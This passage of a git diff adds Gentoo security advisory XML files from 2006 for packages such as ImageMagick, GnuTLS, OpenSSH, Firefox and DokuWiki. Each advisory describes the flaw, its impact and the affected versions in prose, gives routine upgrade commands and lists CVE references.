+    All gzip users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-arch/gzip-1.3.5-r9&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4334">CVE-2006-4334</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4335">CVE-2006-4335</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4336">CVE-2006-4336</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4337">CVE-2006-4337</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4338">CVE-2006-4338</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Tue, 19 Sep 2006 13:55:56 +0000">
+    taviso
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 23 Sep 2006 06:36:04 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200609-14.xml b/xml/htdocs/security/en/glsa/glsa-200609-14.xml
new file mode 100644
index 00000000..980f83b9
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200609-14.xml
@@ -0,0 +1,72 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200609-14">
+  <title>ImageMagick: Multiple Vulnerabilities</title>
+  <synopsis>
+    Multiple buffer overflows have been discovered in ImageMagick, which could
+    potentially result in the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">Imagemagick</product>
+  <announced>September 26, 2006</announced>
+  <revised>September 26, 2006: 01</revised>
+  <bug>144091</bug>
+  <bug>143533</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-gfx/imagemagick" auto="yes" arch="*">
+      <unaffected range="ge">6.2.9.5</unaffected>
+      <vulnerable range="lt">6.2.9.5</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    ImageMagick is a free software suite to manipulate, convert, and create
+    many image formats.
+    </p>
+  </background>
+  <description>
+    <p>
+    Tavis Ormandy of the Google Security Team discovered a stack and heap
+    buffer overflow in the GIMP XCF Image decoder and multiple heap and
+    integer overflows in the SUN bitmap decoder. Damian Put discovered a
+    heap overflow in the SGI image decoder.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker may be able to create a specially crafted image that, when
+    processed with ImageMagick, executes arbitrary code with the privileges
+    of the executing user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All ImageMagick users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-gfx/imagemagick-6.2.9.5&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3743">CVE-2006-3743</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3744">CVE-2006-3744</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4144">CVE-2006-4144</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 19 Sep 2006 07:52:00 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 22 Sep 2006 10:27:30 +0000">
+    taviso
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 25 Sep 2006 18:09:30 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200609-15.xml b/xml/htdocs/security/en/glsa/glsa-200609-15.xml
new file mode 100644
index 00000000..894b5318
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200609-15.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200609-15">
+  <title>GnuTLS: RSA Signature Forgery</title>
+  <synopsis>
+    GnuTLS fails to handle excess data which could allow an attacker to forge a
+    PKCS #1 v1.5 signature.
+  </synopsis>
+  <product type="ebuild">gnutls</product>
+  <announced>September 26, 2006</announced>
+  <revised>September 26, 2006: 01</revised>
+  <bug>147682</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-libs/gnutls" auto="yes" arch="*">
+      <unaffected range="ge">1.4.4</unaffected>
+      <vulnerable range="lt">1.4.4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    GnuTLS is an implementation of SSL 3.0 and TLS 1.0.
+    </p>
+  </background>
+  <description>
+    <p>
+    verify.c fails to properly handle excess data in
+    digestAlgorithm.parameters field while generating a hash when using an
+    RSA key with exponent 3. RSA keys that use exponent 3 are commonplace.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Remote attackers could forge PKCS #1 v1.5 signatures that are signed
+    with an RSA key, preventing GnuTLS from correctly verifying X.509 and
+    other certificates that use PKCS.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All GnuTLS users should update both packages:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --update --ask --verbose &quot;&gt;=net-libs/gnutls-1.4.4&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4790">CVE-2006-4790</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 23 Sep 2006 06:35:02 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 25 Sep 2006 13:07:32 +0000">
+    hlieberman
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 25 Sep 2006 18:24:37 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200609-16.xml b/xml/htdocs/security/en/glsa/glsa-200609-16.xml
new file mode 100644
index 00000000..4378261d
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200609-16.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200609-16">
+  <title>Tikiwiki: Arbitrary command execution</title>
+  <synopsis>
+    Tikiwiki contains a cross-site scripting (XSS) vulnerability as well as a
+    second vulnerability which may allow remote execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">tikiwiki</product>
+  <announced>September 26, 2006</announced>
+  <revised>September 26, 2006: 01</revised>
+  <bug>145714</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/tikiwiki" auto="yes" arch="*">
+      <unaffected range="ge">1.9.5</unaffected>
+      <vulnerable range="lt">1.9.5</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Tikiwiki is a web-based groupware and content management system,
+    developed with PHP, ADOdb and Smarty.
+    </p>
+  </background>
+  <description>
+    <p>
+    A vulnerability in jhot.php allows for an unrestricted file upload to
+    the img/wiki/ directory. Additionally, an XSS exists in the highlight
+    parameter of tiki-searchindex.php.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    An attacker could execute arbitrary code with the rights of the user
+    running the web server by uploading a file and executing it via a
+    filepath parameter. The XSS could be exploited to inject and execute
+    malicious script code or to steal cookie-based authentication
+    credentials, potentially compromising the victim's browser.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Tikiwiki users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --oneshot --verbose --ask &quot;&gt;=www-apps/tikiwiki-1.9.5&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4299">CVE-2006-4299</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4602">CVE-2006-4602</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 19 Sep 2006 09:06:28 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 19 Sep 2006 13:40:09 +0000">
+    hlieberman
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 25 Sep 2006 18:24:26 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200609-17.xml b/xml/htdocs/security/en/glsa/glsa-200609-17.xml
new file mode 100644
index 00000000..9b10b97e
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200609-17.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200609-17">
+  <title>OpenSSH: Denial of Service</title>
+  <synopsis>
+    A flaw in the OpenSSH daemon allows remote unauthenticated attackers to
+    cause a Denial of Service.
+  </synopsis>
+  <product type="ebuild">openssh</product>
+  <announced>September 27, 2006</announced>
+  <revised>September 27, 2006: 02</revised>
+  <bug>148228</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/openssh" auto="yes" arch="*">
+      <unaffected range="ge">4.3_p2-r5</unaffected>
+      <vulnerable range="lt">4.3_p2-r5</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    OpenSSH is a free suite of applications for the SSH protocol, developed
+    and maintained by the OpenBSD project.
+    </p>
+  </background>
+  <description>
+    <p>
+    Tavis Ormandy of the Google Security Team discovered a Denial of
+    Service vulnerability in the SSH protocol version 1 CRC compensation
+    attack detector.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote unauthenticated attacker may be able to trigger excessive CPU
+    usage by sending a pathological SSH message, denying service to other
+    legitimate users or processes.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    The system administrator may disable SSH protocol version 1 in
+    /etc/ssh/sshd_config.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All OpenSSH users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-misc/openssh-4.3_p2-r5&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4924">CVE-2006-4924</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Thu, 21 Sep 2006 22:24:46 +0000">
+    taviso
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 27 Sep 2006 16:06:09 +0000">
+    vorlon078
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200609-18.xml b/xml/htdocs/security/en/glsa/glsa-200609-18.xml
new file mode 100644
index 00000000..98e800c6
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200609-18.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200609-18">
+  <title>Opera: RSA signature forgery</title>
+  <synopsis>
+    Opera fails to correctly verify certain signatures.
+  </synopsis>
+  <product type="ebuild">opera</product>
+  <announced>September 28, 2006</announced>
+  <revised>September 28, 2006: 02</revised>
+  <bug>147838</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-client/opera" auto="yes" arch="*">
+      <unaffected range="ge">9.02</unaffected>
+      <vulnerable range="lt">9.02</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Opera is a multi-platform web browser.
+    </p>
+  </background>
+  <description>
+    <p>
+    Opera makes use of OpenSSL, which fails to correctly verify PKCS #1
+    v1.5 RSA signatures signed by a key with exponent 3. Some CAs in
+    Opera's list of trusted signers are using root certificates with
+    exponent 3.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could forge certificates which will appear valid and signed
+    by a trusted CA.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Opera users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/opera-9.02&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.opera.com/support/search/supsearch.dml?index=845">Opera Advisory</uri>
+    <uri link="http://www.gentoo.org/security/en/glsa/glsa-200609-05.xml">GLSA 200609-05</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 27 Sep 2006 07:51:04 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 27 Sep 2006 14:08:17 +0000">
+    vorlon078
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 27 Sep 2006 14:32:20 +0000">
+    vorlon078
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200609-19.xml b/xml/htdocs/security/en/glsa/glsa-200609-19.xml
new file mode 100644
index 00000000..64ada8b7
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200609-19.xml
@@ -0,0 +1,81 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200609-19">
+  <title>Mozilla Firefox: Multiple vulnerabilities</title>
+  <synopsis>
+    The Mozilla Foundation has reported numerous vulnerabilities in Mozilla
+    Firefox, including one that may allow execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">Firefox</product>
+  <announced>September 28, 2006</announced>
+  <revised>September 28, 2006: 01</revised>
+  <bug>147652</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-client/mozilla-firefox" auto="yes" arch="*">
+      <unaffected range="ge">1.5.0.7</unaffected>
+      <vulnerable range="lt">1.5.0.7</vulnerable>
+    </package>
+    <package name="www-client/mozilla-firefox-bin" auto="yes" arch="*">
+      <unaffected range="ge">1.5.0.7</unaffected>
+      <vulnerable range="lt">1.5.0.7</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Mozilla Firefox is a redesign of the Mozilla Navigator component. The
+    goal is to produce a cross-platform, stand-alone browser application.
+    </p>
+  </background>
+  <description>
+    <p>
+    A number of vulnerabilities were found and fixed in Mozilla Firefox.
+    For details please consult the references below.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    The most severe vulnerability involves enticing a user to visit a
+    malicious website, crashing the browser and executing arbitrary code
+    with the rights of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Mozilla Firefox users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/mozilla-firefox-1.5.0.7&quot;</code>
+    <p>
+    Users of the binary package should upgrade as well:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/mozilla-firefox-bin-1.5.0.7&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4253">CVE-2006-4253</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4340">CVE-2006-4340</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4565">CVE-2006-4565</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4566">CVE-2006-4566</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4567">CVE-2006-4567</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4568">CVE-2006-4568</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4569">CVE-2006-4569</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4571">CVE-2006-4571</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Mon, 25 Sep 2006 12:31:14 +0000">
+    frilled
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 25 Sep 2006 12:31:29 +0000">
+    frilled
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200609-20.xml b/xml/htdocs/security/en/glsa/glsa-200609-20.xml
new file mode 100644
index 00000000..e33e9134
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200609-20.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200609-20">
+  <title>DokuWiki: Shell command injection and Denial of Service</title>
+  <synopsis>
+    DokuWiki is vulnerable to shell command injection and Denial of Service
+    attacks when using ImageMagick.
+  </synopsis>
+  <product type="ebuild">dokuwiki</product>
+  <announced>September 28, 2006</announced>
+  <revised>December 13, 2006: 02</revised>
+  <bug>149266</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/dokuwiki" auto="yes" arch="*">
+      <unaffected range="ge">20060309e</unaffected>
+      <vulnerable range="lt">20060309e</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    DokuWiki is a wiki targeted at developer teams, workgroups and small
+    companies. It does not use a database backend.
+    </p>
+  </background>
+  <description>
+    <p>
+    Input validation flaws have been discovered in the image handling of
+    fetch.php if ImageMagick is used, which is not the default method.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could exploit the flaws to execute arbitrary shell
+    commands with the rights of the web server daemon or cause a Denial of
+    Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All DokuWiki users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/dokuwiki-20060309e&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.freelists.org/archives/dokuwiki/09-2006/msg00278.html">DokuWiki Announcement</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5098">CVE-2006-5098</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-5099">CVE-2006-5099</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 27 Sep 2006 14:05:04 +0000">
+    vorlon078
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 27 Sep 2006 14:54:15 +0000">
+    vorlon078
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 28 Sep 2006 14:27:52 +0000">
+    vorlon078
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200610-01.xml b/xml/htdocs/security/en/glsa/glsa-200610-01.xml
new file mode 100644
index 00000000..a336c0b1
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200610-01.xml
@@ -0,0 +1,85 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200610-01">
+  <title>Mozilla Thunderbird: Multiple vulnerabilities</title>
+  <synopsis>
+    The Mozilla Foundation has reported multiple security vulnerabilities
+    related to Mozilla Thunderbird.
+  </synopsis>
+  <product type="ebuild">thunderbird</product>
+  <announced>October 04, 2006</announced>
+  <revised>October 04, 2006: 01</revised>
+  <bug>147653</bug>
+  <access>remote</access>
+  <affected>
+    <package name="mail-client/mozilla-thunderbird" auto="yes" arch="*">
+      <unaffected range="ge">1.5.0.7</unaffected>
+      <vulnerable range="lt">1.5.0.7</vulnerable>
+    </package>
+    <package name="mail-client/mozilla-thunderbird-bin" auto="yes" arch="*">
+      <unaffected range="ge">1.5.0.7</unaffected>
+      <vulnerable range="lt">1.5.0.7</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Mozilla Thunderbird mail client is a redesign of the Mozilla Mail
+    component.
+    </p>
+  </background>
+  <description>
+    <p>
+    A number of vulnerabilities have been found and fixed in Mozilla
+    Thunderbird. For details please consult the references below.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    The most severe vulnerabilities might lead to the execution of
+    arbitrary code with the rights of the user running the application.
+    Other vulnerabilities include program crashes and the acceptance of
+    forged certificates.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Mozilla Thunderbird users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=mail-client/mozilla-thunderbird-1.5.0.7&quot;</code>
+    <p>
+    All Mozilla Thunderbird binary users should upgrade to the latest
+    version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=mail-client/mozilla-thunderbird-bin-1.5.0.7&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4253">CVE-2006-4253</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4340">CVE-2006-4340</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4565">CVE-2006-4565</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4566">CVE-2006-4566</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4567">CVE-2006-4567</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4570">CVE-2006-4570</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-4571">CVE-2006-4571</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 28 Sep 2006 19:46:25 +0000">
+    vorlon078
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 29 Sep 2006 21:05:25 +0000">
+    vorlon078
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 30 Sep 2006 21:18:44 +0000">
+    vorlon078
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200610-02.xml b/xml/htdocs/security/en/glsa/glsa-200610-02.xml
new file mode 100644
index 00000000..5e9ed685
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200610-02.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200610-02">
+  <title>Adobe Flash Player: Arbitrary code execution</title>
+  <synopsis>
+    Multiple input validation errors have been identified that allow arbitrary
+    code execution on a user's system via the handling of malicious Flash
+    files.
+  </synopsis>
+  <product type="ebuild">Flash</product>
+  <announced>October 04, 2006</announced>
+  <revised>May 28, 2009: 02</revised>
+  <bug>147421</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-plugins/adobe-flash" auto="yes" arch="*">
+      <unaffected range="ge">7.0.68</unaffected>
+      <vulnerable range="lt">7.0.68</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Adobe Flash Player is a renderer for Flash files - commonly used to
+    provide interactive websites, digital experiences and mobile content.
+    </p>
+  </background>
+  <description>
+    <p>
+    The Adobe Flash Player contains multiple unspecified vulnerabilities.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could entice a user to view a malicious Flash file and
+    execute arbitrary code with the rights of the user running the player.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Adobe Flash Player users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-plugins/adobe-flash-7.0.68&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.adobe.com/support/security/bulletins/apsb06-11.html">Adobe Security Bulletin</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3311">CVE-2006-3311</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3587">CVE-2006-3587</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3588">CVE-2006-3588</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 30 Sep 2006 20:50:53 +0000">
+    vorlon078
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 01 Oct 2006 12:49:26 +0000">
+    plasmaroo
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 01 Oct 2006 12:51:08 +0000">
+    plasmaroo
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200610-03.xml b/xml/htdocs/security/en/glsa/glsa-200610-03.xml
new file mode 100644
index 00000000..34d138b1
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200610-03.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200610-03">
+  <title>ncompress: Buffer Underflow</title>
+  <synopsis>
+    A buffer underflow vulnerability has been reported in ncompress allowing
+    for the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">ncompress</product>
+  <announced>October 06, 2006</announced>
+  <revised>October 06, 2006: 01</revised>
+  <bug>141728</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-arch/ncompress" auto="yes" arch="*">
+      <unaffected range="ge">4.2.4.1</unaffected>
+      <vulnerable range="lt">4.2.4.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    ncompress is a suite of utilities to create and extract
+    Lempel-Ziff-Welch (LZW) compressed archives.
+    </p>
+  </background>
+  <description>
+    <p>
+    Tavis Ormandy of the Google Security Team discovered a static buffer
+    underflow in ncompress.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could create a specially crafted LZW archive, that when
+    decompressed by a user or automated system would result in the
+    execution of arbitrary code with the permissions of the user invoking
+    the utility.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All ncompress users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-arch/ncompress-4.2.4.1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1168">CVE-2006-1168</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 29 Sep 2006 14:20:45 +0000">
+    vorlon078
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 02 Oct 2006 10:06:04 +0000">
+    taviso
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 06 Oct 2006 17:50:24 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200610-04.xml b/xml/htdocs/security/en/glsa/glsa-200610-04.xml
new file mode 100644
index 00000000..cd3ed395
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200610-04.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200610-04">
+  <title>Seamonkey: Multiple vulnerabilities</title>
+  <synopsis>
+    The Seamonkey project has reported multiple security vulnerabilities in the
+    application.
+  </synopsis>
+  <product type="ebuild">seamonkey</product>
+  <announced>October 16, 2006</announced>
+  <revised>October 16, 2006: 01</revised>
+  <bug>147651</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-client/seamonkey" auto="yes" arch="*">
+      <unaffected range="ge">1.0.5</unaffected>
+      <vulnerable range="lt">1.0.5</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The SeaMonkey project is a community effort to deliver
